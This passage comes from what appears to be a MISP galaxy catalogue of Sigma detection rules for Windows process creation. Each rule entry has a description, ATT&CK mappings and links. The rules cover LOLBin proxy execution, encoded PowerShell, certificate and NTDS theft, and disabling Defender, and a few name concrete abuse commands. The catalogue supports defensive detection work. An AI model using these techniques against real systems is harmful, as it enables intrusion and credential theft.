https://github.com/nasbench/Misc-Research/blob/8ee690e43a379cbce8c9d61107442c36bd9be3d3/Other/Undocumented-Flags-Sdbinst.md
https://www.fireeye.com/blog/threat-research/2017/05/fin7-shim-databases-persistence.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_sdbinst_susp_extension.yml

Suspicious SYSVOL Domain Group Policy Access

Detects Access to Domain Group Policies stored in SYSVOL

The tag is: *misp-galaxy:sigma-rules="Suspicious SYSVOL Domain Group Policy Access"*

View relationships graph

Suspicious SYSVOL Domain Group Policy Access has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Group Policy Preferences - T1552.006" with estimative-language:likelihood-probability="almost-certain"

Table 15329. Table References

Links
https://www.hybrid-analysis.com/sample/f2943f5e45befa52fb12748ca7171d30096e1d4fc3c365561497c618341299d5?environmentId=100
https://adsecurity.org/?p=2288
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_sysvol_access.yml

Suspicious Diantz Alternate Data Stream Execution

Compress target file into a cab file stored in the Alternate Data Stream (ADS) of the target file.

The tag is: *misp-galaxy:sigma-rules="Suspicious Diantz Alternate Data Stream Execution"*

View relationships graph

Suspicious Diantz Alternate Data Stream Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTFS File Attributes - T1564.004" with estimative-language:likelihood-probability="almost-certain"

Table 15330. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Diantz/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_lolbin_diantz_ads.yml

Suspicious Encoded PowerShell Command Line

Detects suspicious powershell process starts with base64 encoded commands (e.g. Emotet)

The tag is: *misp-galaxy:sigma-rules="Suspicious Encoded PowerShell Command Line"*

View relationships graph

Suspicious Encoded PowerShell Command Line has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15331. Table References

Links
https://app.any.run/tasks/6217d77d-3189-4db2-a957-8ab239f3e01e
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_base64_encoded_cmd.yml

Potential PowerShell Obfuscation Via Reversed Commands

Detects the presence of reversed PowerShell commands in the CommandLine. This is often used as a method of obfuscation by attackers

The tag is: *misp-galaxy:sigma-rules="Potential PowerShell Obfuscation Via Reversed Commands"*

View relationships graph

Potential PowerShell Obfuscation Via Reversed Commands has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Obfuscated Files or Information - T1027" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15332. Table References

Links
https://speakerdeck.com/heirhabarov/hunting-for-powershell-abuse?slide=66
https://2019.offzone.moscow/ru/report/hunting-for-powershell-abuses/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_cmdline_reversed_strings.yml

Uncommon Child Process Of BgInfo.EXE

Detects uncommon child processes of "BgInfo.exe" which could be a sign of potential abuse of the binary to proxy execution via external VBScript

The tag is: *misp-galaxy:sigma-rules="Uncommon Child Process Of BgInfo.EXE"*

View relationships graph

Uncommon Child Process Of BgInfo.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Indirect Command Execution - T1202" with estimative-language:likelihood-probability="almost-certain"

Table 15333. Table References

Links
https://oddvar.moe/2017/05/18/bypassing-application-whitelisting-with-bginfo/
https://lolbas-project.github.io/lolbas/OtherMSBinaries/Bginfo/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bginfo_uncommon_child_process.yml

Certificate Exported Via PowerShell

Detects calls to cmdlets that are used to export certificates from the local certificate store. Threat actors were seen abusing this to steal private keys from compromised machines.

The tag is: *misp-galaxy:sigma-rules="Certificate Exported Via PowerShell"*

View relationships graph

Certificate Exported Via PowerShell has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Private Keys - T1552.004" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15334. Table References

Links
https://us-cert.cisa.gov/ncas/analysis-reports/ar21-112a

https://www.splunk.com/en_us/blog/security/breaking-the-chain-defending-against-certificate-services-abuse.html
https://learn.microsoft.com/en-us/powershell/module/pki/export-pfxcertificate?view=windowsserver2022-ps
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_export_certificate.yml

Net WebClient Casing Anomalies

Detects PowerShell command line contents that include a suspicious abnormal casing in the Net.Webclient (e.g. nEt.WEbCliEnT) string as used in obfuscation techniques

The tag is: *misp-galaxy:sigma-rules="Net WebClient Casing Anomalies"*

View relationships graph

Net WebClient Casing Anomalies has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="PowerShell - T1059.001" with estimative-language:likelihood-probability="almost-certain"

Table 15335. Table References

Links
https://app.any.run/tasks/b9040c63-c140-479b-ad59-f1bb56ce7a97/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_webclient_casing.yml

Reg Add Suspicious Paths

Detects when an adversary uses the reg.exe utility to add or modify new keys or subkeys

The tag is: *misp-galaxy:sigma-rules="Reg Add Suspicious Paths"*

View relationships graph

Reg Add Suspicious Paths has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15336. Table References

Links

https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1112/T1112.md
https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/
https://github.com/redcanaryco/atomic-red-team/blob/40b77d63808dd4f4eafb83949805636735a1fd15/atomics/T1562.001/T1562.001.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_reg_susp_paths.yml

PowerShell Defender Threat Severity Default Action Set to 'Allow' or 'NoAction'

Detects the use of PowerShell to execute the 'Set-MpPreference' cmdlet to configure Windows Defender's threat severity default action to 'Allow' (value '6') or 'NoAction' (value '9'). This is a highly suspicious configuration change that effectively disables Defender's ability to automatically mitigate threats of a certain severity level. An attacker might use this technique via the command line to bypass defenses before executing payloads.

The tag is: *misp-galaxy:sigma-rules="PowerShell Defender Threat Severity Default Action Set to 'Allow' or 'NoAction'"*

View relationships graph

PowerShell Defender Threat Severity Default Action Set to 'Allow' or 'NoAction' has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15337. Table References

Links
https://learn.microsoft.com/en-us/powershell/module/defender/set-mppreference
https://learn.microsoft.com/en-us/windows-hardware/customize/desktop/unattend/security-malware-windows-defender-threatseveritydefaultaction
https://gist.github.com/Dump-GUY/8daef859f382b895ac6fd0cf094555d2
https://research.splunk.com/endpoint/7215831c-8252-4ae3-8d43-db588e82f952
https://thedfirreport.com/2021/10/18/icedid-to-xinglocker-ransomware-in-24-hours/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_defender_default_action_modified.yml

Set Suspicious Files as System Files Using Attrib.EXE

Detects the usage of attrib with the "+s" option to set scripts or executables located in suspicious locations as system files to hide them from users and make them unable to be deleted with simple

rights. The rule limits the search to specific extensions and directories to avoid FPs

The tag is: *misp-galaxy:sigma-rules="Set Suspicious Files as System Files Using Attrib.EXE"*

View relationships graph

Set Suspicious Files as System Files Using Attrib.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Hidden Files and Directories - T1564.001" with estimative-language:likelihood-probability="almost-certain"

Table 15338. Table References

Links
https://app.any.run/tasks/c28cabc8-a19f-40f3-a78b-cae506a5c0d4
https://unit42.paloaltonetworks.com/unit42-sure-ill-take-new-combojack-malware-alters-clipboards-steal-cryptocurrency/
https://app.any.run/tasks/cfc8870b-ccd7-4210-88cf-a8087476a6d0
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_attrib_system_susp_paths.yml

Suspicious PowerShell Mailbox Export to Share

Detects usage of the powerShell New-MailboxExportRequest Cmdlet to exports a mailbox to a remote or local share, as used in ProxyShell exploitations

The tag is: *misp-galaxy:sigma-rules="Suspicious PowerShell Mailbox Export to Share"*

Table 15339. Table References

Links
https://peterjson.medium.com/reproducing-the-proxyshell-pwn2own-exploit-49743a4ea9a1
https://m365internals.com/2022/10/07/hunting-in-on-premises-exchange-server-logs/
https://youtu.be/5mqid-7zp8k?t=2481
https://blog.orange.tw/2021/08/proxylogon-a-new-attack-surface-on-ms-exchange-part-1.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_mailboxexport_share.yml

Scripting/CommandLine Process Spawned Regsvr32

Detects various command line and scripting engines/processes such as "PowerShell", "Wscript", "Cmd", etc. spawning a "regsvr32" instance.

The tag is: *misp-galaxy:sigma-rules="Scripting/CommandLine Process Spawned Regsvr32"*

View relationships graph

Scripting/CommandLine Process Spawned Regsvr32 has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvr32 - T1218.010" with estimative-language:likelihood-probability="almost-certain"

Table 15340. Table References

Links
https://app.any.run/tasks/34221348-072d-4b70-93f3-aa71f6ebecad/
https://web.archive.org/web/20171001085340/https://subt0x10.blogspot.com/2017/04/bypass-application-whitelisting-script.html
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regsvr32_susp_parent.yml

Rundll32 InstallScreenSaver Execution

An attacker may execute an application as a SCR File using rundll32.exe desk.cpl,InstallScreenSaver

The tag is: *misp-galaxy:sigma-rules="Rundll32 InstallScreenSaver Execution"*

View relationships graph

Rundll32 InstallScreenSaver Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15341. Table References

Links
https://github.com/redcanaryco/atomic-red-team/blob/0f229c0e42bfe7ca736a14023836d65baa941ed2/atomics/T1218.011/T1218.011.md#atomic-test-13---rundll32-with-deskcpl
https://lolbas-project.github.io/lolbas/Libraries/Desk/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_installscreensaver.yml

Arbitrary File Download Via ConfigSecurityPolicy.EXE

Detects the execution of "ConfigSecurityPolicy.EXE", a binary part of Windows Defender used to manage settings in Windows Defender. Users can configure different pilot collections for each of the co-management workloads. It can be abused by attackers in order to upload or download files.

The tag is: *misp-galaxy:sigma-rules="Arbitrary File Download Via ConfigSecurityPolicy.EXE"*

View relationships graph

Arbitrary File Download Via ConfigSecurityPolicy.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Exfiltration Over Web Service - T1567" with estimative-language:likelihood-probability="almost-certain"

Table 15342. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_configsecuritypolicy_download_file.yml

Suspicious Download From Direct IP Via Bitsadmin

Detects usage of bitsadmin downloading a file using an URL that contains an IP

The tag is: *misp-galaxy:sigma-rules="Suspicious Download From Direct IP Via Bitsadmin"*

View relationships graph

Suspicious Download From Direct IP Via Bitsadmin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"

Table 15343. Table References

Links
https://blog.talosintelligence.com/breaking-the-silence-recent-truebot-activity/
https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/
https://isc.sans.edu/diary/22264
https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_direct_ip.yml

WMI Backdoor Exchange Transport Agent

Detects a WMI backdoor in Exchange Transport Agents via WMI event filters

The tag is: *misp-galaxy:sigma-rules="WMI Backdoor Exchange Transport Agent"*

View relationships graph

WMI Backdoor Exchange Transport Agent has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Windows Management Instrumentation Event Subscription - T1546.003" with estimative-language:likelihood-probability="almost-certain"

Table 15344. Table References

Links
https://twitter.com/cglyer/status/1182391019633029120
https://twitter.com/cglyer/status/1182389676876980224
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_wmi_backdoor_exchange_transport_agent.yml

Suspicious Workstation Locking via Rundll32

Detects a suspicious call to the user32.dll function that locks the user workstation

The tag is: *misp-galaxy:sigma-rules="Suspicious Workstation Locking via Rundll32"*

Table 15345. Table References

Links
https://app.any.run/tasks/2aef9c63-f944-4763-b3ef-81eee209d128/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_user32_dll.yml

Suspicious Download From File-Sharing Website Via Bitsadmin

Detects usage of bitsadmin downloading a file from a suspicious domain

The tag is: *misp-galaxy:sigma-rules="Suspicious Download From File-Sharing Website Via Bitsadmin"*

View relationships graph

Suspicious Download From File-Sharing Website Via Bitsadmin has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="BITS Jobs - T1197" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rename Legitimate Utilities - T1036.003" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Ingress Tool Transfer - T1105" with estimative-language:likelihood-probability="almost-certain"

Table 15346. Table References

Links
https://blog.netspi.com/15-ways-to-download-a-file/#bitsadmin
https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/

https://isc.sans.edu/diary/22264
https://lolbas-project.github.io/lolbas/Binaries/Bitsadmin/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ransomware-hive-conti-avoslocker
https://www.cisa.gov/uscert/ncas/alerts/aa22-321a
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_bitsadmin_download_file_sharing_domains.yml

Potentially Suspicious Execution Of Regasm/Regsvcs With Uncommon Extension

Detects potentially suspicious execution of the Regasm/Regsvcs utilities with an uncommon extension.

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious Execution Of Regasm/Regsvcs With Uncommon Extension"*

View relationships graph

Potentially Suspicious Execution Of Regasm/Regsvcs With Uncommon Extension has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Regsvcs/Regasm - T1218.009" with estimative-language:likelihood-probability="almost-certain"

Table 15347. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Regasm/
https://www.fortiguard.com/threat-signal-report/4718?s=09
https://lolbas-project.github.io/lolbas/Binaries/Regsvcs/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regasm_regsvcs_uncommon_extension_execution.yml

JScript Compiler Execution

Detects the execution of the "jsc.exe" (JScript Compiler). Attacker might abuse this in order to compile JScript files on the fly and bypassing application whitelisting.

The tag is: *misp-galaxy:sigma-rules="JScript Compiler Execution"*

View relationships graph

JScript Compiler Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Trusted Developer Utilities Proxy Execution -

T1127" with estimative-language:likelihood-probability="almost-certain"

Table 15348. Table References

Links
https://www.phpied.com/make-your-javascript-a-windows-exe/
https://lolbas-project.github.io/lolbas/Binaries/Jsc/
https://twitter.com/DissectMalware/status/998797808907046913
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_jsc_execution.yml

Share And Session Enumeration Using Net.EXE

Detects attempts to enumerate file shares, printer shares and sessions using "net.exe" with the "view" flag.

The tag is: *misp-galaxy:sigma-rules="Share And Session Enumeration Using Net.EXE"*

View relationships graph

Share And Session Enumeration Using Net.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Remote System Discovery - T1018" with estimative-language:likelihood-probability="almost-certain"

Table 15349. Table References

Links
https://eqllib.readthedocs.io/en/latest/analytics/b8a94d2f-dc75-4630-9d73-1edc6bd26fff.html
https://github.com/redcanaryco/atomic-red-team/blob/f339e7da7d05f6057fdfcdd3742bfcf365fee2a9/atomics/T1018/T1018.md
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_net_view_share_and_sessions_enum.yml

Registry Modification Attempt Via VBScript

Detects attempts to modify the registry using VBScript's CreateObject("Wscript.shell") and RegWrite methods via common LOLBINs. It could be an attempt to modify the registry for persistence without using straightforward methods like regedit.exe, reg.exe, or PowerShell. Threat Actors may use this technique to evade detection by security solutions that monitor for direct registry modifications through traditional tools.

The tag is: *misp-galaxy:sigma-rules="Registry Modification Attempt Via VBScript"*

View relationships graph

Registry Modification Attempt Via VBScript has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Modify Registry - T1112" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Visual Basic - T1059.005" with estimative-language:likelihood-probability="almost-certain"

Table 15350. Table References

Links
https://www.nextron-systems.com/2025/07/29/detecting-the-most-popular-mitre-persistence-method-registry-run-keys-startup-folder/
https://www.linkedin.com/posts/mauricefielenbach_livingoffthelandredteam-persistence-activity-7344801774182051843-TE00/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_vbscript_registry_modification.yml

Network Reconnaissance Activity

Detects a set of suspicious network related commands often used in recon stages

The tag is: *misp-galaxy:sigma-rules="Network Reconnaissance Activity"*

View relationships graph

Network Reconnaissance Activity has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="System Information Discovery - T1082" with estimative-language:likelihood-probability="almost-certain"

Table 15351. Table References

Links
https://thedfirreport.com/2022/02/07/qbot-likes-to-move-it-move-it/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_nslookup_domain_discovery.yml

Suspicious Microsoft OneNote Child Process

Detects suspicious child processes of the Microsoft OneNote application. This may indicate an attempt to execute malicious embedded objects from a .one file.

The tag is: *misp-galaxy:sigma-rules="Suspicious Microsoft OneNote Child Process"*

View relationships graph

Suspicious Microsoft OneNote Child Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Phishing - T1566" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Spearphishing Attachment - T1566.001" with estimative-language:likelihood-probability="almost-certain"

Table 15352. Table References

Links
https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-e34e43eb5666427602ddf488b2bf3b545bd9aae81af3e6f6c7949f9652abdf18
https://micahbabinski.medium.com/detecting-onenote-one-malware-delivery-407e9321ecf0
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_onenote_susp_child_processes.yml

Always Install Elevated Windows Installer

Detects Windows Installer service (msiexec.exe) trying to install MSI packages with SYSTEM privilege

The tag is: *misp-galaxy:sigma-rules="Always Install Elevated Windows Installer"*

View relationships graph

Always Install Elevated Windows Installer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Bypass User Account Control - T1548.002" with estimative-language:likelihood-probability="almost-certain"

Table 15353. Table References

Links
https://image.slidesharecdn.com/kheirkhabarovoffzonefinal-181117201458/95/hunting-for-privilege-escalation-in-windows-environment-48-638.jpg
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_always_install_elevated_windows_installer.yml

Regedit as Trusted Installer

Detects a regedit started with TrustedInstaller privileges or by ProcessHacker.exe

The tag is: *misp-galaxy:sigma-rules="Regedit as Trusted Installer"*

View relationships graph

Regedit as Trusted Installer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Abuse Elevation Control Mechanism - T1548" with

estimative-language:likelihood-probability="almost-certain"

Table 15354. Table References

Links
https://twitter.com/1kwpeter/status/1397816101455765504
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_regedit_trustedinstaller.yml

HackTool - SOAPHound Execution

Detects the execution of SOAPHound, a .NET tool for collecting Active Directory data, using specific command-line arguments that may indicate an attempt to extract sensitive AD information.

The tag is: *misp-galaxy:sigma-rules="HackTool - SOAPHound Execution"*

View relationships graph

HackTool - SOAPHound Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Account Discovery - T1087" with estimative-language:likelihood-probability="almost-certain"

Table 15355. Table References

Links
https://medium.com/falconforce/soaphound-tool-to-collect-active-directory-data-via-adws-165aca78288c
https://github.com/FalconForceTeam/SOAPHound
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_hktl_soaphound_execution.yml

Potential Excel.EXE DCOM Lateral Movement Via ActivateMicrosoftApp

Detects suspicious child processes of Excel which could be an indicator of lateral movement leveraging the "ActivateMicrosoftApp" Excel DCOM object.

The tag is: *misp-galaxy:sigma-rules="Potential Excel.EXE DCOM Lateral Movement Via ActivateMicrosoftApp"*

View relationships graph

Potential Excel.EXE DCOM Lateral Movement Via ActivateMicrosoftApp has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Distributed Component Object Model - T1021.003" with estimative-language:likelihood-probability="almost-certain"

Table 15356. Table References

Links
https://learn.microsoft.com/en-us/office/vba/api/excel.xlmsapplication
https://posts.specterops.io/lateral-movement-abuse-the-power-of-dcom-excel-application-3c016d0d9922
https://github.com/grayhatkiller/SharpExShell
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_office_excel_dcom_lateral_movement.yml

DLL Loaded via CertOC.EXE

Detects when a user installs certificates by using CertOC.exe to loads the target DLL file.

The tag is: *misp-galaxy:sigma-rules="DLL Loaded via CertOC.EXE"*

View relationships graph

DLL Loaded via CertOC.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15357. Table References

Links
https://lolbas-project.github.io/lolbas/Binaries/Certoc/
https://twitter.com/sblmsrsn/status/1445758411803480072?s=20
https://github.com/elastic/protections-artifacts/commit/746086721fd385d9f5c6647cada1788db4aea95f#diff-fe98e74189873d6df72a15df2eaa0315c59ba9cdaca93ecd68afc4ea09194ef2
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_certoc_load_dll.yml

Uncommon Link.EXE Parent Process

Detects an uncommon parent process of "LINK.EXE". Link.EXE in Microsoft incremental linker. Its a utility usually bundled with Visual Studio installation. Multiple utilities often found in the same folder (editbin.exe, dumpbin.exe, lib.exe, etc) have a hardcode call to the "LINK.EXE" binary without checking its validity. This would allow an attacker to sideload any binary with the name "link.exe" if one of the aforementioned tools get executed from a different location. By filtering the known locations of such utilities we can spot uncommon parent process of LINK.EXE that might be suspicious or malicious.

The tag is: *misp-galaxy:sigma-rules="Uncommon Link.EXE Parent Process"*

View relationships graph

Uncommon Link.EXE Parent Process has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="System Binary Proxy Execution - T1218" with estimative-language:likelihood-probability="almost-certain"

Table 15358. Table References

Links
https://twitter.com/0gtweet/status/1560732860935729152
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_link_uncommon_parent_process.yml

Rundll32 UNC Path Execution

Detects rundll32 execution where the DLL is located on a remote location (share)

The tag is: *misp-galaxy:sigma-rules="Rundll32 UNC Path Execution"*

View relationships graph

Rundll32 UNC Path Execution has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="SMB/Windows Admin Shares - T1021.002" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Rundll32 - T1218.011" with estimative-language:likelihood-probability="almost-certain"

Table 15359. Table References

Links
https://www.cybereason.com/blog/rundll32-the-infamous-proxy-for-executing-malicious-code
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_rundll32_unc_path.yml

PUA - DIT Snapshot Viewer

Detects the use of Ditsnap tool, an inspection tool for Active Directory database, ntds.dit.

The tag is: *misp-galaxy:sigma-rules="PUA - DIT Snapshot Viewer"*

View relationships graph

PUA - DIT Snapshot Viewer has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="NTDS - T1003.003" with estimative-language:likelihood-probability="almost-certain"

Table 15360. Table References

Links
https://thedfirreport.com/2020/06/21/snatch-ransomware/
https://web.archive.org/web/20201124182207/https://github.com/yosqueoy/ditsnap
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_pua_ditsnap.yml

Copy .DMP/.DUMP Files From Remote Share Via Cmd.EXE

Detects usage of the copy builtin cmd command to copy files with the ".dmp"/".dump" extension from a remote share

The tag is: *misp-galaxy:sigma-rules="Copy .DMP/.DUMP Files From Remote Share Via Cmd.EXE"*

Table 15361. Table References

Links
https://thedfirreport.com/2022/09/26/bumblebee-round-two/
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_cmd_copy_dmp_from_share.yml

Raccine Uninstall

Detects commands that indicate a Raccine removal from an end system. Raccine is a free ransomware protection tool.

The tag is: *misp-galaxy:sigma-rules="Raccine Uninstall"*

View relationships graph

Raccine Uninstall has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Disable or Modify Tools - T1562.001" with estimative-language:likelihood-probability="almost-certain"

Table 15362. Table References

Links
https://github.com/Neo23x0/Raccine
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_disable_raccine.yml

Elevated System Shell Spawned From Uncommon Parent Location

Detects when a shell program such as the Windows command prompt or PowerShell is launched with system privileges from a uncommon parent location.

The tag is: *misp-galaxy:sigma-rules="Elevated System Shell Spawned From Uncommon Parent Location"*

View relationships graph

Elevated System Shell Spawned From Uncommon Parent Location has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Command and Scripting Interpreter - T1059" with estimative-language:likelihood-probability="almost-certain"

Table 15363. Table References

Links
https://github.com/Wh04m1001/SysmonEoP
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_susp_elevated_system_shell_uncommon_parent.yml

Explorer Process Tree Break

Detects a command line process that uses explorer.exe to launch arbitrary commands or binaries, which is similar to cmd.exe /c, only it breaks the process tree and makes its parent a new instance of explorer spawning from "svchost"

The tag is: *misp-galaxy:sigma-rules="Explorer Process Tree Break"*

View relationships graph

Explorer Process Tree Break has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Masquerading - T1036" with estimative-language:likelihood-probability="almost-certain"

Table 15364. Table References

Links
https://twitter.com/bohops/status/1276357235954909188?s=12
https://twitter.com/nas_bench/status/1535322450858233858
https://twitter.com/CyberRaiju/status/1273597319322058752
https://securityboulevard.com/2019/09/deobfuscating-ostap-trickbots-34000-line-javascript-downloader/

https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_explorer_break_process_tree.yml

Compressed File Extraction Via Tar.EXE

Detects execution of "tar.exe" in order to extract compressed file. Adversaries may abuse various utilities in order to decompress data to avoid detection.

The tag is: *misp-galaxy:sigma-rules="Compressed File Extraction Via Tar.EXE"*

View relationships graph

Compressed File Extraction Via Tar.EXE has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Archive Collected Data - T1560" with estimative-language:likelihood-probability="almost-certain"
- related-to: misp-galaxy:mitre-attack-pattern="Archive via Utility - T1560.001" with estimative-language:likelihood-probability="almost-certain"

Table 15365. Table References

Links
https://unit42.paloaltonetworks.com/chromeloader-malware/
https://lolbas-project.github.io/lolbas/Binaries/Tar/
https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/cicada-apt10-japan-espionage
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_tar_extraction.yml

Potentially Suspicious File Download From File Sharing Domain Via PowerShell.EXE

Detects potentially suspicious file downloads from file sharing domains using PowerShell.exe

The tag is: *misp-galaxy:sigma-rules="Potentially Suspicious File Download From File Sharing Domain Via PowerShell.EXE"*

Table 15366. Table References

Links
https://www.huntress.com/blog/slashandgrab-screen-connect-post-exploitation-in-the-wild-cve-2024-1709-cve-2024-1708
https://www.microsoft.com/en-us/security/blog/2024/01/17/new-ttps-observed-in-mint-sandstorm-campaign-targeting-high-profile-individuals-at-universities-and-research-orgs/
https://labs.withsecure.com/publications/fin7-target-veeam-servers

https://github.com/WithSecureLabs/iocs/blob/344203de742bb7e68bd56618f66d34be95a9f9fc/FIN7VEEAM/iocs.csv
https://github.com/SigmaHQ/sigma/tree/master/rules/windows/process_creation/proc_creation_win_powershell_download_susp_file_sharing_domains.yml

Potential WinAPI Calls Via CommandLine

Detects the use of WinAPI Functions via the commandline. As seen used by threat actors via the tool winapiexec

The tag is: *misp-galaxy:sigma-rules="Potential WinAPI Calls Via CommandLine"*

View relationships graph

Potential WinAPI Calls Via CommandLine has relationships with:

- related-to: misp-galaxy:mitre-attack-pattern="Native API - T1106" with estimative-language:likelihood-probability="almost-certain"

Table 15367. Table References

Links
https://twitter.com/m417z/status/1566674631788007425
